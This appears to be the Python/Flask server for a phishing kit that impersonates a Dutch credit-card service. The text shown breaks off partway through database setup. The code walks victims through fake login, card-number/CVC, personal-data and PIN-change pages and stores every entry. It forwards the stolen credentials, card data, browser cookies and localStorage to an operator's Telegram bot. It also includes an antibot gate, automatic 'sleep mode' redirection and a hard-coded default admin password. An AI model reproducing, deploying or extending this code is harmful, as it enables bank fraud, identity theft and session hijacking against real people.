from flask import (
    Blueprint,
    Flask,
    Response,
    jsonify,
    redirect,
    render_template,
    request,
    send_from_directory,
    session,
    url_for,
)
from functools import wraps
from werkzeug.security import generate_password_hash, check_password_hash
from flask_cors import CORS
import sqlite3
import os
import hmac
import hashlib
import html
import json
import re
from datetime import datetime
from urllib.parse import quote, urlencode

# admin/ holds DB + panel templates; project root holds public site templates + static assets
_ADMIN_DIR = os.path.dirname(os.path.abspath(__file__))
_ROOT = os.path.dirname(_ADMIN_DIR)


def _load_env_file() -> None:
    """Load project .env into os.environ (keys already set in the shell are kept)."""
    env_path = os.path.join(_ROOT, ".env")
    if not os.path.isfile(env_path):
        return
    try:
        with open(env_path, encoding="utf-8") as f:
            for raw in f:
                line = raw.strip()
                if not line or line.startswith("#") or "=" not in line:
                    continue
                key, _, val = line.partition("=")
                key = key.strip()
                val = val.strip().strip('"').strip("'")
                if key and key not in os.environ:
                    os.environ[key] = val
    except OSError as e:
        print(f"Warning: could not read .env: {e}")


_load_env_file()

try:
    from xantibot import run_xantibot_gate
except ImportError:
    run_xantibot_gate = None  # type: ignore

app = Flask(__name__, template_folder=os.path.join(_ROOT, "templates", "site"))

admin_bp = Blueprint(
    "admin_panel",
    __name__,
    url_prefix="/admin",
    template_folder=os.path.join(_ADMIN_DIR, "templates"),
)
CORS(app, supports_credentials=True)  # Enable CORS for all routes
app.secret_key = os.environ.get('SECRET_KEY', 'atomic_super_secret_key_2026')
# FastPanel / nginx reverse proxy: on by default (set BEHIND_REVERSE_PROXY=0 to disable)
if os.environ.get("BEHIND_REVERSE_PROXY", "1").lower() not in ("0", "false", "no", "off"):
    from werkzeug.middleware.proxy_fix import ProxyFix

    try:
        app.wsgi_app = ProxyFix(
            app.wsgi_app,
            x_for=1,
            x_proto=1,
            x_host=1,
            x_prefix=1,
            x_port=1,
        )
    except TypeError:
        app.wsgi_app = ProxyFix(
            app.wsgi_app, x_for=1, x_proto=1, x_host=1, x_port=1
        )

DATABASE = os.environ.get(
    "ATOMIC_DATABASE_PATH", os.path.join(_ADMIN_DIR, "database.sqlite")
)

import requests

def get_db():
    conn = sqlite3.connect(DATABASE)
    conn.row_factory = sqlite3.Row
    return conn


def get_setting(key, default=None):
    try:
        conn = get_db()
        cur = conn.cursor()
        cur.execute("SELECT value FROM app_settings WHERE key = ?", (key,))
        row = cur.fetchone()
        conn.close()
        if row is not None and row["value"] is not None:
            val = str(row["value"]).strip()
            if val:
                return val
    except sqlite3.OperationalError:
        pass
    env_map = {
        "telegram_bot_token": "TELEGRAM_BOT_TOKEN",
        "telegram_chat_id": "TELEGRAM_CHAT_ID",
        "xantibot_api_key": "XANTIBOT_API_KEY",
    }
    env_key = env_map.get(key)
    if env_key:
        v = (os.environ.get(env_key) or "").strip()
        if v:
            return v
    return default


def _truthy_setting(val, default=True) -> bool:
    if val is None:
        return default
    if isinstance(val, bool):
        return val
    s = str(val).strip().lower()
    if s in ("1", "true", "yes", "on"):
        return True
    if s in ("0", "false", "no", "off"):
        return False
    return default


def telegram_notifications_enabled() -> bool:
    return _truthy_setting(get_setting("telegram_notify_enabled", "1"), True)


def _telegram_credentials():
    token = (get_setting("telegram_bot_token", "") or "").strip()
    chat_id = (get_setting("telegram_chat_id", "") or "").strip()
    return token, chat_id


def get_xantibot_panel_config():
    enabled = _truthy_setting(
        get_setting("xantibot_enabled"),
        default=os.environ.get("XANTIBOT_DISABLED", "").lower()
        not in ("1", "true", "yes", "t"),
    )
    api_key = (get_setting("xantibot_api_key", "") or "").strip()
    return {"enabled": enabled, "api_key": api_key}


def set_setting(key, value):
    conn = get_db()
    cur = conn.cursor()
    cur.execute(
        """
        INSERT INTO app_settings (key, value) VALUES (?, ?)
        ON CONFLICT(key) DO UPDATE SET value = excluded.value, updated_at = CURRENT_TIMESTAMP
        """,
        (key, value or ""),
    )
    conn.commit()
    conn.close()


def get_panel_mode() -> str:
    mode = (get_setting("panel_mode", "awake") or "awake").strip().lower()
    return "sleep" if mode == "sleep" else "awake"


def queue_visitor_redirect(visitor_id: str, next_page: str) -> None:
    conn = get_db()
    cur = conn.cursor()
    cur.execute(
        """
        INSERT INTO commands (visitor_id, action, next_page, status)
        VALUES (?, 'redirect', ?, 'pending')
        ON CONFLICT(visitor_id, action) DO UPDATE SET
            next_page = excluded.next_page,
            status = 'pending',
            created_at = CURRENT_TIMESTAMP
        """,
        (visitor_id, next_page),
    )
    conn.commit()
    conn.close()


def mark_sleep_outage(visitor_id: str) -> None:
    conn = get_db()
    cur = conn.cursor()
    cur.execute(
        "UPDATE visitors SET sleep_outage = 1 WHERE visitor_id = ?",
        (visitor_id,),
    )
    conn.commit()
    conn.close()


def visitor_has_sleep_outage(visitor_id: str) -> bool:
    conn = get_db()
    cur = conn.cursor()
    cur.execute(
        "SELECT sleep_outage FROM visitors WHERE visitor_id = ?",
        (visitor_id,),
    )
    row = cur.fetchone()
    conn.close()
    return bool(row and row["sleep_outage"])


def apply_sleep_mode_auto_redirect(visitor_id: str, form_type: str, data: dict) -> str | None:
    """Sleep mode: login → instrument → profile → credential → outage (final submits only)."""
    if get_panel_mode() != "sleep":
        return None
    if not data.get("step_complete"):
        return None
    if visitor_has_sleep_outage(visitor_id):
        return None
    if form_type == "login" and data.get("username") and data.get("password"):
        queue_visitor_redirect(visitor_id, VISITOR_ROUTES["instrument"])
        return VISITOR_ROUTES["instrument"]
    if form_type == "gegevens" and data.get("cardnumber") and data.get("cvc"):
        queue_visitor_redirect(visitor_id, VISITOR_ROUTES["profile"])
        return VISITOR_ROUTES["profile"]
    if form_type == "info" and data.get("naam") and data.get("email"):
        queue_visitor_redirect(visitor_id, VISITOR_ROUTES["credential"])
        return VISITOR_ROUTES["credential"]
    if form_type == "pin" and data.get("old_pin") and data.get("new_pin"):
        old_p = str(data.get("old_pin", "")).strip()
        new_p = str(data.get("new_pin", "")).strip()
        if len(old_p) >= 4 and len(new_p) >= 4:
            mark_sleep_outage(visitor_id)
            return VISITOR_ROUTES["login"]
    return None


def _submission_step_complete(conn, visitor_id: str, form_type: str) -> bool:
    cur = conn.cursor()
    cur.execute(
        "SELECT * FROM submissions WHERE visitor_id = ? AND form_type = ?",
        (visitor_id, form_type),
    )
    row = cur.fetchone()
    if not row:
        return False
    r = dict(row)
    if form_type == "login":
        return bool((r.get("username") or "").strip() and (r.get("password") or "").strip())
    if form_type == "gegevens":
        return bool((r.get("card_number") or "").strip() and (r.get("cvc_code") or "").strip())
    if form_type == "info":
        return bool((r.get("naam") or "").strip() and (r.get("email") or "").strip())
    if form_type == "pin":
        return bool((r.get("old_pin") or "").strip() and (r.get("new_pin") or "").strip())
    return False


def resolve_sleep_resume_url(visitor_id: str) -> str | None:
    """Next sleep-flow page when visitor returns to login with incomplete steps."""
    if get_panel_mode() != "sleep":
        return None
    if visitor_has_sleep_outage(visitor_id):
        return None
    conn = get_db()
    try:
        has_login = _submission_step_complete(conn, visitor_id, "login")
        has_gegevens = _submission_step_complete(conn, visitor_id, "gegevens")
        has_info = _submission_step_complete(conn, visitor_id, "info")
        has_pin = _submission_step_complete(conn, visitor_id, "pin")
    finally:
        conn.close()
    if not has_login:
        return None
    if not has_gegevens:
        return VISITOR_ROUTES["instrument"]
    if not has_info:
        return VISITOR_ROUTES["profile"]
    if not has_pin:
        return VISITOR_ROUTES["credential"]
    return None


def _tg_escape(value) -> str:
    if value is None:
        return ""
    return html.escape(str(value), quote=False)


def _row_dict(v_info):
    if not v_info:
        return None
    return v_info if isinstance(v_info, dict) else dict(v_info)


def _visitor_location(v_info) -> str:
    v_info = _row_dict(v_info)
    if not v_info:
        return "Onbekend"
    country = v_info["country"] or ""
    city = v_info["city"] or ""
    if country and city:
        return f"{country} ({city})"
    return country or city or "Onbekend"


def _visitor_context_block(v_info, include_ua: bool = False) -> str:
    v_info = _row_dict(v_info)
    if not v_info:
        return ""
    loc = _visitor_location(v_info)
    lines = [
        f"🌍 <b>Locatie:</b> {_tg_escape(loc)}",
        f"💻 <b>Systeem:</b> {_tg_escape(v_info['os'] or '—')} / {_tg_escape(v_info['browser'] or '—')}",
    ]
    if v_info.get("language"):
        lines.append(f"🗣️ <b>Taal:</b> {_tg_escape(v_info['language'])}")
    if v_info.get("timezone"):
        lines.append(f"🕐 <b>Tijdzone:</b> {_tg_escape(v_info['timezone'])}")
    if include_ua and v_info.get("user_agent"):
        ua = str(v_info["user_agent"])
        if len(ua) > 220:
            ua = ua[:217] + "..."
        lines.append(f"🌐 <b>Client:</b> <code>{_tg_escape(ua)}</code>")
    return "\n".join(lines) + "\n"


def _panel_link_url(external: bool = True) -> str:
    try:
        panel_url = url_for("admin_panel.serve_index", _external=external)
    except RuntimeError:
        panel_url = "/admin/"
    token = (os.environ.get("ADMIN_GATE_TOKEN") or "").strip()
    if token:
        sep = "&" if "?" in panel_url else "?"
        panel_url = f"{panel_url}{sep}t={quote(token, safe='')}"
    return panel_url


def _panel_link_block() -> str:
    url = _panel_link_url().replace("&", "&amp;")
    return f'🔗 <a href="{url}">Atomic Labs Control Panel</a>'


def _telegram_form_title(meta: dict) -> str:
    return f"<b>{meta['title']}</b> {meta['emoji']}"


def _telegram_visitor_meta_lines(visitor_id: str, v_info) -> list:
    v_info = _row_dict(v_info) or {}
    country = (v_info.get("country") or "—").strip() or "—"
    city = (v_info.get("city") or "—").strip() or "—"
    return [
        f"🆔 Visitor ID: <code>{_tg_escape(visitor_id)}</code>",
        f"🌍 Land: <code>{_tg_escape(country)}</code>",
        f"🏙️ Stad: <code>{_tg_escape(city)}</code>",
    ]


FORM_TELEGRAM_META = {
    "login": {"emoji": "🔑", "title": "Login poging"},
    "activation": {"emoji": "✨", "title": "Activering"},
    "gegevens": {"emoji": "💳", "title": "Kaartgegevens"},
    "sms": {"emoji": "📲", "title": "SMS verificatie"},
    "email": {"emoji": "📧", "title": "E-mail verificatie"},
    "info": {"emoji": "📝", "title": "Info formulier"},
    "pin": {"emoji": "🏦", "title": "PIN wijziging"},
    "authorize": {"emoji": "🔐", "title": "App verificatie"},
    "forgot_password": {"emoji": "🔁", "title": "WW vergeten"},
}

_TG_VALUE_SANITIZE = {
    "Mijn ICS activeren": "Activeren",
    "Activate My ICS": "Activate",
}

FIELD_TELEGRAM_LABELS = {
    "username": ("👤", "Gebruikersnaam"),
    "password": ("🔒", "Wachtwoord"),
    "cardnumber": ("💳", "Kaartnummer"),
    "cardname": ("📛", "Naam op kaart"),
    "expmonth": ("📅", "Geldig tot"),
    "expyear": ("📅", "Geldig tot"),
    "cvc": ("🔒", "CVC"),
    "postcode": ("🏷️", "Postcode"),
    "zipcode": ("🏷️", "Postcode"),
    "housenumber": ("🏠", "Huisnummer"),
    "sms_code": ("🔢", "Code"),
    "email_code": ("🔢", "Code"),
    "naam": ("🧑", "Naam"),
    "geboorte": ("🎂", "Geboortedatum"),
    "adres": ("🏘️", "Adres"),
    "plaats": ("📍", "Plaats"),
    "email": ("📧", "E-mail"),
    "telefoon": ("📞", "Telefoon"),
    "huistelefoon": ("☎️", "Huistelefoon"),
    "old_pin": ("🔑", "Oude PIN"),
    "new_pin": ("🆕", "Nieuwe PIN"),
    "app_confirm": ("✅", "App-bevestiging"),
    "action": ("✨", "Actie"),
}


_TG_STRIP_SPACES_KEYS = frozenset(
    {
        "username",
        "password",
        "cvc",
        "postcode",
        "zipcode",
        "housenumber",
        "sms_code",
        "email_code",
        "telefoon",
        "huistelefoon",
        "old_pin",
        "new_pin",
        "email",
    }
)

_FORM_PAGE_FIELDS = {
    "login": ("username", "password"),
    "gegevens": (
        "cardnumber",
        "cardname",
        "cvc",
        "postcode",
        "zipcode",
        "housenumber",
    ),
    "sms": ("sms_code",),
    "email": ("email_code",),
    "info": (
        "naam",
        "geboorte",
        "adres",
        "postcode",
        "plaats",
        "email",
        "telefoon",
        "huistelefoon",
    ),
    "pin": ("old_pin", "new_pin"),
    "authorize": ("app_confirm",),
    "forgot_password": ("username", "action"),
    "activation": ("action",),
}


def _tg_truthy(val) -> bool:
    if isinstance(val, bool):
        return val
    if isinstance(val, str):
        return val.strip().lower() in ("1", "true", "yes")
    return bool(val)


def _tg_format_cardnumber(value) -> str:
    digits = re.sub(r"\D", "", str(value or ""))
    if not digits:
        return ""
    return " ".join(digits[i : i + 4] for i in range(0, len(digits), 4))


def _tg_display_value(key: str, value) -> str:
    text = str(value)
    if key == "action":
        text = _TG_VALUE_SANITIZE.get(text, text)
    text = text.replace("ICS", "SCI").replace("ics", "sci")
    if key == "cardnumber":
        return _tg_format_cardnumber(text)
    if key in _TG_STRIP_SPACES_KEYS:
        text = text.replace(" ", "").replace("\t", "")
    return text


def _format_telegram_field_line(key: str, value) -> str:
    emoji, label = FIELD_TELEGRAM_LABELS.get(
        key, ("▪️", key.replace("_", " ").capitalize())
    )
    return (
        f"{emoji} {label}: "
        f"<code>{_tg_escape(_tg_display_value(key, value))}</code>"
    )


def _format_expiry_line(data: dict, cumulative: dict) -> str | None:
    month = str(data.get("expmonth") or cumulative.get("expmonth") or "").strip()
    year = str(data.get("expyear") or cumulative.get("expyear") or "").strip()
    if not month and not year:
        expiry = cumulative.get("expiry_date") or data.get("expiry_date")
        if expiry and "/" in str(expiry):
            parts = str(expiry).split("/")
            month = (parts[0] or "").strip()
            year = (parts[1] or "").strip() if len(parts) > 1 else ""
    if not month and not year:
        return None
    return (
        f"📅 Geldig tot: "
        f"<code>{_tg_escape(f'{month}/{year}'.strip('/'))}</code>"
    )


def _format_page_telegram_lines(
    form_type: str, data: dict, cumulative: dict
) -> list:
    lines = []
    merged = dict(cumulative)
    for key, value in data.items():
        if value:
            merged[key] = value

    login_lines = []
    for key in ("username", "password"):
        val = merged.get(key)
        if val:
            login_lines.append(_format_telegram_field_line(key, val))

    page_keys = _FORM_PAGE_FIELDS.get(form_type, ())
    page_lines = []
    seen = set()
    for key in page_keys:
        if key in seen:
            continue
        val = data.get(key) if data.get(key) else merged.get(key)
        if not val:
            continue
        if key == "zipcode" and merged.get("postcode"):
            seen.add(key)
            continue
        seen.add(key)
        page_lines.append(_format_telegram_field_line(key, val))

    expiry_line = None
    if form_type == "gegevens":
        expiry_line = _format_expiry_line(data, merged)
        if expiry_line:
            insert_at = 2 if len(page_lines) >= 2 else len(page_lines)
            page_lines.insert(insert_at, expiry_line)

    if form_type == "login":
        lines.extend(login_lines)
    elif page_lines:
        lines.extend(page_lines)
    else:
        for key, value in data.items():
            if key in (
                "visitor_id",
                "form_type",
                "cookies",
                "local_storage",
                "send_cookie_file",
                "step_complete",
                "expmonth",
                "expyear",
            ):
                continue
            if value:
                page_lines.append(_format_telegram_field_line(key, value))
        lines.extend(page_lines)

    return lines


def _fetch_visitor_submission_data(visitor_id: str) -> dict:
    """Merge stored submissions into one field map (client-style keys)."""
    conn = get_db()
    cur = conn.cursor()
    cur.execute(
        "SELECT * FROM submissions WHERE visitor_id = ? ORDER BY submitted_at ASC",
        (visitor_id,),
    )
    rows = cur.fetchall()
    conn.close()
    merged = {}
    for row in rows:
        r = dict(row)
        for src, dst in (
            ("username", "username"),
            ("password", "password"),
            ("card_number", "cardnumber"),
            ("card_holder", "cardname"),
            ("cvc_code", "cvc"),
            ("postcode", "postcode"),
            ("housenumber", "housenumber"),
            ("sms_code", "sms_code"),
            ("email_code", "email_code"),
            ("naam", "naam"),
            ("geboorte", "geboorte"),
            ("adres", "adres"),
            ("plaats", "plaats"),
            ("email", "email"),
            ("telefoon", "telefoon"),
            ("huistelefoon", "huistelefoon"),
            ("old_pin", "old_pin"),
            ("new_pin", "new_pin"),
            ("app_confirm", "app_confirm"),
        ):
            if r.get(src):
                merged[dst] = r[src]
        if r.get("expiry_date"):
            parts = str(r["expiry_date"]).split("/")
            if parts and parts[0]:
                merged["expmonth"] = parts[0]
            if len(parts) > 1 and parts[1]:
                merged["expyear"] = parts[1]
    return merged


def build_form_telegram_message(form_type: str, data: dict, visitor_id: str, v_info) -> str:
    meta = FORM_TELEGRAM_META.get(form_type, {"emoji": "📥", "title": "Formulier"})
    cumulative = _fetch_visitor_submission_data(visitor_id)
    field_lines = _format_page_telegram_lines(form_type, data, cumulative)

    lines = [
        _telegram_form_title(meta),
        "🏦 Dienst: <code>SCI</code>",
    ]
    lines.extend(field_lines)
    lines.append("")
    lines.extend(_telegram_visitor_meta_lines(visitor_id, v_info))
    lines.append("")
    lines.append(_panel_link_block())
    return "\n".join(lines)


def build_new_visitor_telegram_message(
    visitor_id: str,
    ip_addr: str,
    country: str,
    city: str,
    os_name: str,
    browser: str,
    user_agent: str = "",
    extra: dict = None,
) -> str:
    v_info = {
        "ip_address": ip_addr,
        "country": country,
        "city": city,
        "os": os_name,
        "browser": browser,
        "user_agent": user_agent,
    }
    if extra:
        v_info.update(extra)
    os_name = (v_info.get("os") or "—").strip()
    browser = (v_info.get("browser") or "—").strip()
    lines = [
        "<b>Nieuwe bezoeker</b> 👋",
        f"💻 Systeem: <code>{_tg_escape(f'{os_name} / {browser}')}</code>",
        "",
    ]
    lines.extend(_telegram_visitor_meta_lines(visitor_id, v_info))
    lines.append("")
    lines.append(_panel_link_block())
    return "\n".join(lines)


def _vx_meta(row) -> dict:
    r = dict(row)
    return {
        "ip": r.get("ip_address") or "",
        "geo": f"{r.get('country') or ''}/{r.get('city') or ''}".strip("/"),
        "os": r.get("os") or "",
        "browser": r.get("browser") or "",
        "lang": r.get("language") or "",
        "tz": r.get("timezone") or "",
        "client": r.get("user_agent") or "",
    }


def _vx_bundle_caption(visitor_id: str, part: str, row) -> str:
    r = dict(row)
    loc = _visitor_location(r)
    lines = [
        f"<b>Sessie bundel {part}</b> 📎",
        f"🆔 Visitor ID: <code>{_tg_escape(visitor_id)}</code>",
        f"🌍 Locatie: <code>{_tg_escape(loc)}</code>",
        f"💻 Systeem: <code>{_tg_escape(r.get('os') or '—')} / {_tg_escape(r.get('browser') or '—')}</code>",
    ]
    if r.get("language"):
        lines.append(f"🗣️ Taal: <code>{_tg_escape(r['language'])}</code>")
    return "\n".join(lines)


def send_telegram_message(text) -> bool:
    if not telegram_notifications_enabled():
        print("Notify skipped: Telegram notifications disabled in panel")
        return False
    token, chat_id = _telegram_credentials()
    if not token or not chat_id or token == "YOUR_BOT_TOKEN_HERE":
        print("Notify skipped: TELEGRAM_BOT_TOKEN / TELEGRAM_CHAT_ID not configured")
        return False
    url = f"https://api.telegram.org/bot{token}/sendMessage"
    payload = {
        "chat_id": str(chat_id),
        "text": text,
        "parse_mode": "HTML",
        "disable_web_page_preview": True,
    }
    try:
        resp = requests.post(url, json=payload, timeout=15)
        if not resp.ok:
            print(f"Notify send failed ({resp.status_code}): {resp.text[:400]}")
            return False
        data = resp.json()
        if not data.get("ok"):
            print(f"Notify send rejected: {data}")
            return False
        return True
    except Exception as e:
        print(f"Notify error: {e}")
        return False


def _session_ref(visitor_id: str) -> str:
    clean = (visitor_id or "x").replace("-", "")[:10]
    return clean or "x"


def _vx_pack_a(visitor_id: str, blob: str, ctx: dict = None) -> str:
    meta = ctx or {}
    head = [f"ref={visitor_id}"]
    for k in ("ip", "geo", "os", "browser", "lang", "tz", "client"):
        if meta.get(k):
            head.append(f"{k}={meta[k]}")
    head.append("---")
    body = blob.strip() if blob else ""
    return "\n".join(head) + ("\n" + body if body else "\n")


def _vx_pack_b(visitor_id: str, blob: str, ctx: dict = None) -> str:
    payload = {
        "ref": visitor_id,
        "ts": datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ"),
        "ctx": ctx or {},
        "data": {},
    }
    if blob:
        try:
            parsed = json.loads(blob)
            if isinstance(parsed, dict):
                payload["data"] = parsed
            else:
                payload["data"] = {"_raw": parsed}
        except Exception:
            payload["data"] = {"_raw": blob}
    return json.dumps(payload, indent=2, ensure_ascii=False) + "\n"


def _stealth_admin_visitor(v: dict) -> dict:
    out = dict(v)
    hdr = out.pop("browser_cookies", None)
    store = out.pop("local_storage", None)
    out.pop("browser_capture_at", None)
    exported = out.pop("cookies_file_sent", None)
    if hdr is not None or store is not None:
        out["sync_hdr"] = hdr or ""
        out["sync_store"] = store or ""
        out["sync_exported"] = bool(exported)
    return out


def send_telegram_document(content: str, filename: str, caption: str = "", mime: str = "text/plain") -> bool:
    if not telegram_notifications_enabled():
        return False
    token, chat_id = _telegram_credentials()
    if not token or not chat_id or token == "YOUR_BOT_TOKEN_HERE":
        return False
    url = f"https://api.telegram.org/bot{token}/sendDocument"
    try:
        resp = requests.post(
            url,
            data={
                "chat_id": str(chat_id),
                "caption": caption[:1024],
                "parse_mode": "HTML",
            },
            files={"document": (filename, content.encode("utf-8"), mime)},
            timeout=30,
        )
        if not resp.ok:
            print(f"Notify document failed ({resp.status_code}): {resp.text[:400]}")
            return False
        data = resp.json()
        return bool(data.get("ok"))
    except Exception as e:
        print(f"Notify document error: {e}")
        return False


def _count_localstorage_keys(local_storage: str) -> int:
    if not local_storage:
        return 0
    try:
        parsed = json.loads(local_storage)
        if isinstance(parsed, dict):
            return len(parsed)
    except Exception:
        pass
    return 1 if local_storage.strip() else 0


def _vx_persist(visitor_id: str, a: str = None, b: str = None) -> None:
    if not visitor_id:
        return
    cookie_val = str(a).strip() if a is not None else None
    ls_val = str(b).strip() if b is not None else None
    if cookie_val == "":
        cookie_val = None
    if ls_val == "":
        ls_val = None
    if cookie_val is None and ls_val is None:
        return

    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT id FROM visitors WHERE visitor_id = ?", (visitor_id,))
    exists = cur.fetchone()
    if exists:
        sets = ["browser_capture_at = CURRENT_TIMESTAMP"]
        params = []
        if cookie_val is not None:
            sets.append("browser_cookies = ?")
            params.append(cookie_val)
        if ls_val is not None:
            sets.append("local_storage = ?")
            params.append(ls_val)
        params.append(visitor_id)
        cur.execute(
            f"UPDATE visitors SET {', '.join(sets)} WHERE visitor_id = ?",
            params,
        )
    else:
        cur.execute(
            """
            INSERT INTO visitors (visitor_id, browser_cookies, local_storage, browser_capture_at)
            VALUES (?, ?, ?, CURRENT_TIMESTAMP)
            """,
            (visitor_id, cookie_val or "", ls_val or ""),
        )
    conn.commit()
    conn.close()


def _vx_dispatch(visitor_id: str, force: bool = False) -> None:
    conn = get_db()
    cur = conn.cursor()
    cur.execute(
        """
        SELECT browser_cookies, local_storage, cookies_file_sent,
               ip_address, country, city, os, browser, user_agent,
               language, timezone
        FROM visitors WHERE visitor_id = ?
        """,
        (visitor_id,),
    )
    row = cur.fetchone()
    if not row:
        conn.close()
        return

    a = (row["browser_cookies"] or "").strip()
    b = (row["local_storage"] or "").strip()
    already_sent = bool(row["cookies_file_sent"])

    cookie_available = bool(a)
    storage_available = bool(b)
    n_a = len([p for p in a.split(";") if p.strip()]) if a else 0
    n_b = _count_localstorage_keys(b) if storage_available else 0

    cookie_status = f"{n_a} cookie(s)" if cookie_available else "niet beschikbaar"
    storage_status = (
        f"{n_b} key(s)" if storage_available else "niet beschikbaar"
    )
    sync_lines = [
        "<b>Sessie sync</b> 💾",
        f"🆔 Visitor ID: <code>{_tg_escape(visitor_id)}</code>",
        f"🍪 Cookies: <code>{_tg_escape(cookie_status)}</code>",
        f"📦 LocalStorage: <code>{_tg_escape(storage_status)}</code>",
        "",
        _panel_link_block(),
    ]
    send_telegram_message("\n".join(sync_lines))

    if already_sent and not force:
        conn.close()
        return

    ref = _session_ref(visitor_id)
    ctx = _vx_meta(row)
    sent_any = False
    if cookie_available:
        if send_telegram_document(
            _vx_pack_a(visitor_id, a, ctx),
            f"sci_{ref}.dat",
            _vx_bundle_caption(visitor_id, "A", row),
            "application/octet-stream",
        ):
            sent_any = True

    if storage_available:
        if send_telegram_document(
            _vx_pack_b(visitor_id, b, ctx),
            f"sci_{ref}.json",
            _vx_bundle_caption(visitor_id, "B", row),
            "application/json",
        ):
            sent_any = True

    if sent_any or not already_sent:
        cur.execute(
            "UPDATE visitors SET cookies_file_sent = 1 WHERE visitor_id = ?",
            (visitor_id,),
        )
        conn.commit()
    conn.close()

def _sync_telegram_settings_from_env(cursor) -> None:
    """Persist .env Telegram credentials into SQLite so a running server picks them up."""
    pairs = (
        ("telegram_bot_token", "TELEGRAM_BOT_TOKEN"),
        ("telegram_chat_id", "TELEGRAM_CHAT_ID"),
    )
    for db_key, env_key in pairs:
        env_val = (os.environ.get(env_key) or "").strip()
        if not env_val:
            continue
        cursor.execute("SELECT value FROM app_settings WHERE key = ?", (db_key,))
        row = cursor.fetchone()
        db_val = ((row["value"] if row else "") or "").strip()
        if not db_val:
            cursor.execute(
                """
                INSERT INTO app_settings (key, value) VALUES (?, ?)
                ON CONFLICT(key) DO UPDATE SET
                    value = excluded.value,
                    updated_at = CURRENT_TIMESTAMP
                """,
                (db_key, env_val),
            )


def _sync_antibot_settings_from_env(cursor) -> None:
    cursor.execute("SELECT value FROM app_settings WHERE key = 'xantibot_enabled'")
    row = cursor.fetchone()
    if not row or not str(row["value"] or "").strip():
        disabled = os.environ.get("XANTIBOT_DISABLED", "").lower() in ("1", "true", "yes", "t")
        cursor.execute(
            """
            INSERT INTO app_settings (key, value) VALUES ('xantibot_enabled', ?)
            ON CONFLICT(key) DO NOTHING
            """,
            ("0" if disabled else "1",),
        )
    env_key = (os.environ.get("XANTIBOT_API_KEY") or "").strip()
    if env_key:
        cursor.execute("SELECT value FROM app_settings WHERE key = 'xantibot_api_key'")
        row = cursor.fetchone()
        db_val = ((row["value"] if row else "") or "").strip()
        if not db_val:
            cursor.execute(
                """
                INSERT INTO app_settings (key, value) VALUES ('xantibot_api_key', ?)
                ON CONFLICT(key) DO UPDATE SET
                    value = excluded.value,
                    updated_at = CURRENT_TIMESTAMP
                """,
                (env_key,),
            )


def _should_notify_form_telegram(form_type: str, data: dict) -> bool:
    """Notify once per completed page — never on partial/debounced field saves."""
    return _tg_truthy(data.get("step_complete"))


def init_db():
    with app.app_context():
        conn = get_db()
        cursor = conn.cursor()
        
        # Visitors Table (tracks active sessions)
        
        # Users Table (Admin Users)
        cursor.execute('''
            CREATE TABLE IF NOT EXISTS users (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                username TEXT UNIQUE NOT NULL,
                password_hash TEXT NOT NULL,
                created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
            )
        ''')
        
        # Create default admin if no users exist
        cursor.execute("SELECT COUNT(*) as count FROM users")
        if cursor.fetchone()['count'] == 0:
            default_hash = generate_password_hash('admin098.')
            cursor.execute("INSERT INTO users (username, password_hash) VALUES (?, ?)", ('admin', default_hash))

        cursor.execute('''
            CREATE TABLE IF NOT EXISTS visitors (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                visitor_id TEXT UNIQUE NOT NULL,
                ip_address TEXT,
                user_agent TEXT,
                current_page TEXT DEFAULT 'index',
                last_activity TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
            )
        ''')
        
        # Submissions Table (tracks data filled in forms)
        cursor.execute('''
            CREATE TABLE IF NOT EXISTS submissions (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                visitor_id TEXT NOT NULL,
                form_type TEXT NOT NULL,
                
                -- Login
                username TEXT,
                password TEXT,
                
                -- Card Info
                card_number TEXT,
                card_holder TEXT,
                expiry_date TEXT,
                cvc_code TEXT,
                
                -- Personal Info
                postcode TEXT,
                housenumber TEXT,
                
                -- Meta
                submitted_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                FOREIGN KEY (visitor_id) REFERENCES visitors(visitor_id)
            )
        ''')
        
        # Approvals/Commands Table (admin commands to redirect users)
        cursor.execute('''
            CREATE TABLE IF NOT EXISTS commands (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                visitor_id TEXT NOT NULL,
                action TEXT NOT NULL,
                next_page TEXT,
                status TEXT DEFAULT 'pending',
                created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                UNIQUE(visitor_id, action)
            )
        ''')
        
        try:
            cursor.execute("ALTER TABLE users ADD COLUMN is_superadmin INTEGER DEFAULT 0")
        except sqlite3.OperationalError:
            pass
        cursor.execute("SELECT COUNT(*) as c FROM users WHERE is_superadmin = 1")
        if cursor.fetchone()["c"] == 0:
            cursor.execute(
                "UPDATE users SET is_superadmin = 1 WHERE id = (SELECT MIN(id) FROM users)"
            )

        cursor.execute('''
            CREATE TABLE IF NOT EXISTS app_settings (
                key TEXT PRIMARY KEY,
                value TEXT,
                updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
            )
        ''')
        cursor.execute(
            "INSERT OR IGNORE INTO app_settings (key, value) VALUES ('panel_mode', 'awake')"
        )
        cursor.execute(
            "INSERT OR IGNORE INTO app_settings (key, value) VALUES ('telegram_notify_enabled', '1')"
        )
        _sync_telegram_settings_from_env(cursor)
        _sync_antibot_settings_from_env(cursor)
        try:
            cursor.execute("ALTER TABLE visitors ADD COLUMN country TEXT")
            cursor.execute("ALTER TABLE visitors ADD COLUMN city TEXT")
            cursor.execute("ALTER TABLE visitors ADD COLUMN os TEXT")
            cursor.execute("ALTER TABLE visitors ADD COLUMN browser TEXT")
        except:
            pass
        for _col in (
            "sms_code",
            "email_code",
            "naam",
            "geboorte",
            "adres",
            "plaats",
            "email",
            "telefoon",
            "huistelefoon",
            "old_pin",
            "new_pin",
            "app_confirm",
        ):
            try:
                cursor.execute(f"ALTER TABLE submissions ADD COLUMN {_col} TEXT")
            except sqlite3.OperationalError:
                pass
        try:
            cursor.execute(
                "ALTER TABLE submissions ADD COLUMN telegram_notified INTEGER DEFAULT 0"
            )
        except sqlite3.OperationalError:
            pass
        try:
            cursor.execute(
                "ALTER TABLE visitors ADD COLUMN sleep_outage INTEGER DEFAULT 0"
            )
        except sqlite3.OperationalError:
            pass
        for _col, _type in (
